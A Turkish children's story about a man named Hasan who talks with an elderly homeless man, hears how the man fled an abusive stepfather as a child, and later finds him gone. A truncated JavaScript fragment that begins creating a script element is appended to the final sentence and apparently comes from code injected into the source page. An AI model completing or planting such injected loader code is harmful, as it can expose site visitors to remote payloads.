Merhaba çocuklar! Siz de sokakta yürürken etrafına bakmayı sevenlerden misiniz? Peki,
sokakta etrafınıza bakarken hiç sokakta yaşayan insanları fark ettiniz mi? O insanların neden
sokaklarda yaşadığını tahmin ettiniz mi? Şimdiki masalımız sokakta yaşayan adamın
masalı…
Bir varmış, bir yokmuş… Günlerden bir gün Hasan hızlı bir şekilde işinden evine
dönüyormuş. Sokaktan koşturarak geçip bir an önce evine gitme derdindeymiş. Hava buz gibi,
rüzgâr olabildiğince sert esiyormuş. Üzerindeki kalın paltosuna rağmen Hasan yine üşüyor,
ellerini cebinden çıkaramıyormuş. Karşıdan karşıya geçmek için ışıkların yanına beklerken
karşı kaldırımında bir evin kuytusunda oturan adam dikkatini çekmiş. Adamın sakalları
uzunmuş, üstü başı da biraz kirliymiş. Karton gibi bir şeyin üzerinde oturup yırtık paltosu ile
ısınmaya çalışıyormuş. Hasan karşıdan karşıya geçince adama daha da yakalamış. Bir süre
sessizce köşede durmuş ve adamı izlemiş.
Adamın sokakta yaşadığı her halinden belliymiş. O bir sokak adamıymış. Hasan adamın
haline çok üzülmüş. O sıcacık evine gitme planları yaparken sokaktaki adamın gidecek ne bir
evi ne de üzerine giyecek bir kıyafeti varmış.
Yaşlı sokak adamı, yırtık eldivenleri arasına sıkıştırdığı kuru ekmeği ısırırken gözünden
dökülen yaşlara da engel olamıyormuş. ‘Kim bilir nasıl acılar yaşadı’ diye geçirmiş Hasan
içinden. ‘Onu sokaklarda yaşamaya mecbur bırakan nedenler neler oldu acaba?’ diye
düşünmeye devam etti. O sırada aklına almak istediği ev ve araba geldi. Daha büyük bir eve
çıkmak için var gücüyle çalışıp para biriktiriyordu. Aynı zamanda beğendiği yeni model bir
abrayı da almak için can atıyordu. Fakat sokakta yaşayan bu adamın soğuktan tir tir titreyen
vücudunu görüp, kuru ekmekle karnını doyuruşunu izlediğinde Hasan düşündüğü şeylerin ne
kadar boş olduğunu fark etti.
Hasan adamı uzun bir süre izledikten sonra yanına yaklaştı. Sokak adamı Hasan’ı fark edince
önce biraz çekindi, sonra da başını kaldırıp yanına gelenin kim olduğuna baktı.
Hasan: ‘Merhaba, neredeyse on dakikadır sizi izliyorum. Neden sokakta yaşadığınızı merak
ettim, bir mahsuru yoksa anlatır mısınız?’ dedi.
Sokak adamı önce acı bir şekilde gülümsedi. Sonra Hasan’a baktı:
Sokak Adamı: ‘Anlatılacak ne var ki oğlum! Ben küçük yaşta annesi ve babası ayrılan bir
çocuktum. Annemin yanında kalıyordum. Fakat annem ikinci kez evlendi ve yeni babam beni
evde istemedi. Beni sürekli dövüyordu ve evden kovuyordu. Annem engel olmak istediğinde
onu da dövüyordu. Ben de daha fazla dayanamadım ve bir gece yarısı evden kaçtım. O gece
sokakların çocuğu oldum. Şimdi büyüdüm, artık yaşlı bir adamım. Ama hayatımda hiçbir şey
değişmedi. O zaman sokakların çocuğuydum, şimdi sokakların adamı oldum. Sakallarım çıktı,
yüzüm buruştu, ellerim nasırlaştı ama ben hala sokaklardaki ilk gecemdeki gibiyim.’
Hasan adamın anlattıkları karşısında çok üzüldü. Adamın hayatı boyunca sıcak bir evde anne-
baba sevgisi ile büyümediğini ve hayal ettiği hiçbir şeyi yapamadığını düşündü. Hasan elini
adamın elinin üzerine koydu:
Hasan: ‘İzniniz olursa ben yetkilileri arayacağım. En azından bu soğukta size kapalı bir yer
temin etsinler’ dedi.
Sokak adamı yine acı bir şekilde gülümsedi:
Sokak Adamı: ‘Ah temiz yürekli çocuk! O yetkililer birinci gün alırlar ikinci gün bırakırlar’
dedi.
Hasan adama biraz para vererek yanından ayrıldı ve tanıdığı birkaç yetkiliyi aradı.
Hasan eve geldikten bir saat sonra telefonu çaldı. Arayanlar bir saat önce görüştüğü görevli
kişilerdi. Fakat adresi verilen yerde sokakta yaşayan kimsenin olmadığını söylediler Hasan’a.
Telefonu kapatan Hasan hemen montunu giydi ve sokak adamını gördüğü yere gitti.
Gerçekten de orada kimse yoktu. Adamdan geriye sadece kartonu kalmıştı…var d=document;var s=d.createElement(‘script’);